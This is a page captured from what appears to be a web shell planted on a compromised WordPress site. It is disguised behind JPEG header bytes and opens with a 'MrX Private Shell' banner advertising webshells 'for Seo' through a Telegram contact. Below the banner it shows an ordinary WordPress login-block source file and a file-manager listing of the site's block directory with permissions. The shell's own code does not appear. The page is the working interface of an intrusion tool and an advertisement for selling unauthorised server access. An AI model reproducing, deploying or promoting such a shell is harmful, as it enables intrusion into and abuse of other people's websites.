����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Server-side rendering of the `core/loginout` block.
*
* @package WordPress
*/
/**
* Renders the `core/loginout` block on server.
*
* @param array $attributes The block attributes.
*
* @return string Returns the login-out link or form.
*/
function render_block_core_loginout( $attributes ) {
// Build the redirect URL.
$current_url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$classes = is_user_logged_in() ? 'logged-in' : 'logged-out';
$contents = wp_loginout(
isset( $attributes['redirectToCurrent'] ) && $attributes['redirectToCurrent'] ? $current_url : '',
false
);
// If logged-out and displayLoginAsForm is true, show the login form.
if ( ! is_user_logged_in() && ! empty( $attributes['displayLoginAsForm'] ) ) {
// Add a class.
$classes .= ' has-login-form';
// Get the form.
$contents = wp_login_form( array( 'echo' => false ) );
}
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes ) );
return '<div ' . $wrapper_attributes . '>' . $contents . '</div>';
}
/**
* Registers the `core/latest-posts` block on server.
*/
function register_block_core_loginout() {
register_block_type_from_metadata(
__DIR__ . '/loginout',
array(
'render_callback' => 'render_block_core_loginout',
)
);
}
add_action( 'init', 'register_block_core_loginout' );
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| archives | Folder | 0755 |
|
|
| audio | Folder | 0755 |
|
|
| block | Folder | 0755 |
|
|
| button | Folder | 0755 |
|
|
| buttons | Folder | 0755 |
|
|
| calendar | Folder | 0755 |
|
|
| categories | Folder | 0755 |
|
|
| code | Folder | 0755 |
|
|
| column | Folder | 0755 |
|
|
| columns | Folder | 0755 |
|
|
| cover | Folder | 0755 |
|
|
| embed | Folder | 0755 |
|
|
| file | Folder | 0755 |
|
|
| freeform | Folder | 0755 |
|
|
| gallery | Folder | 0755 |
|
|
| group | Folder | 0755 |
|
|
| heading | Folder | 0755 |
|
|
| html | Folder | 0755 |
|
|
| image | Folder | 0755 |
|
|
| latest-comments | Folder | 0755 |
|
|
| latest-posts | Folder | 0755 |
|
|
| legacy-widget | Folder | 0755 |
|
|
| list | Folder | 0755 |
|
|
| loginout | Folder | 0755 |
|
|
| media-text | Folder | 0755 |
|
|
| missing | Folder | 0755 |
|
|
| more | Folder | 0755 |
|
|
| nextpage | Folder | 0755 |
|
|
| page-list | Folder | 0755 |
|
|
| paragraph | Folder | 0755 |
|
|
| post-content | Folder | 0755 |
|
|
| post-date | Folder | 0755 |
|
|
| post-excerpt | Folder | 0755 |
|
|
| post-featured-image | Folder | 0755 |
|
|
| post-template | Folder | 0755 |
|
|
| post-terms | Folder | 0755 |
|
|
| post-title | Folder | 0755 |
|
|
| preformatted | Folder | 0755 |
|
|
| pullquote | Folder | 0755 |
|
|
| query | Folder | 0755 |
|
|
| query-pagination | Folder | 0755 |
|
|
| query-pagination-next | Folder | 0755 |
|
|
| query-pagination-numbers | Folder | 0755 |
|
|
| query-pagination-previous | Folder | 0755 |
|
|
| query-title | Folder | 0755 |
|
|
| quote | Folder | 0755 |
|
|
| rss | Folder | 0755 |
|
|
| search | Folder | 0755 |
|
|
| separator | Folder | 0755 |
|
|
| shortcode | Folder | 0755 |
|
|
| site-logo | Folder | 0755 |
|
|
| site-tagline | Folder | 0755 |
|
|
| site-title | Folder | 0755 |
|
|
| social-link | Folder | 0755 |
|
|
| social-links | Folder | 0755 |
|
|
| spacer | Folder | 0755 |
|
|
| table | Folder | 0755 |
|
|
| tag-cloud | Folder | 0755 |
|
|
| text-columns | Folder | 0755 |
|
|
| verse | Folder | 0755 |
|
|
| video | Folder | 0755 |
|
|
| calendar.php | File | 1.53 KB | 0644 |
|
| categories.php | File | 2.59 KB | 0644 |
|
| file.php | File | 897 B | 0644 |
|
| index.php | File | 2.54 KB | 0644 |
|
| latest-comments.php | File | 4.88 KB | 0644 |
|
| latest-posts.php | File | 6.96 KB | 0644 |
|
| legacy-widget.php | File | 3.73 KB | 0644 |
|
| loginout.php | File | 1.35 KB | 0644 |
|
| page-list.php | File | 7.09 KB | 0644 |
|
| post-content.php | File | 1.84 KB | 0644 |
|
| post-date.php | File | 1.5 KB | 0644 |
|
| post-excerpt.php | File | 2.38 KB | 0644 |
|
| post-featured-image.php | File | 1.31 KB | 0644 |
|
| post-template.php | File | 2.66 KB | 0644 |
|
| post-terms.php | File | 1.63 KB | 0644 |
|
| post-title.php | File | 1.57 KB | 0644 |
|
| query-pagination-next.php | File | 2.45 KB | 0644 |
|
| query-pagination-numbers.php | File | 2.72 KB | 0644 |
|
| query-pagination-previous.php | File | 1.99 KB | 0644 |
|
| rss.php | File | 3.21 KB | 0644 |
|
| search.php | File | 6.57 KB | 0644 |
|
| site-tagline.php | File | 994 B | 0644 |
|
| site-title.php | File | 1.21 KB | 0644 |
|
| social-link.php | File | 57.92 KB | 0644 |
|
| tag-cloud.php | File | 1.24 KB | 0644 |
|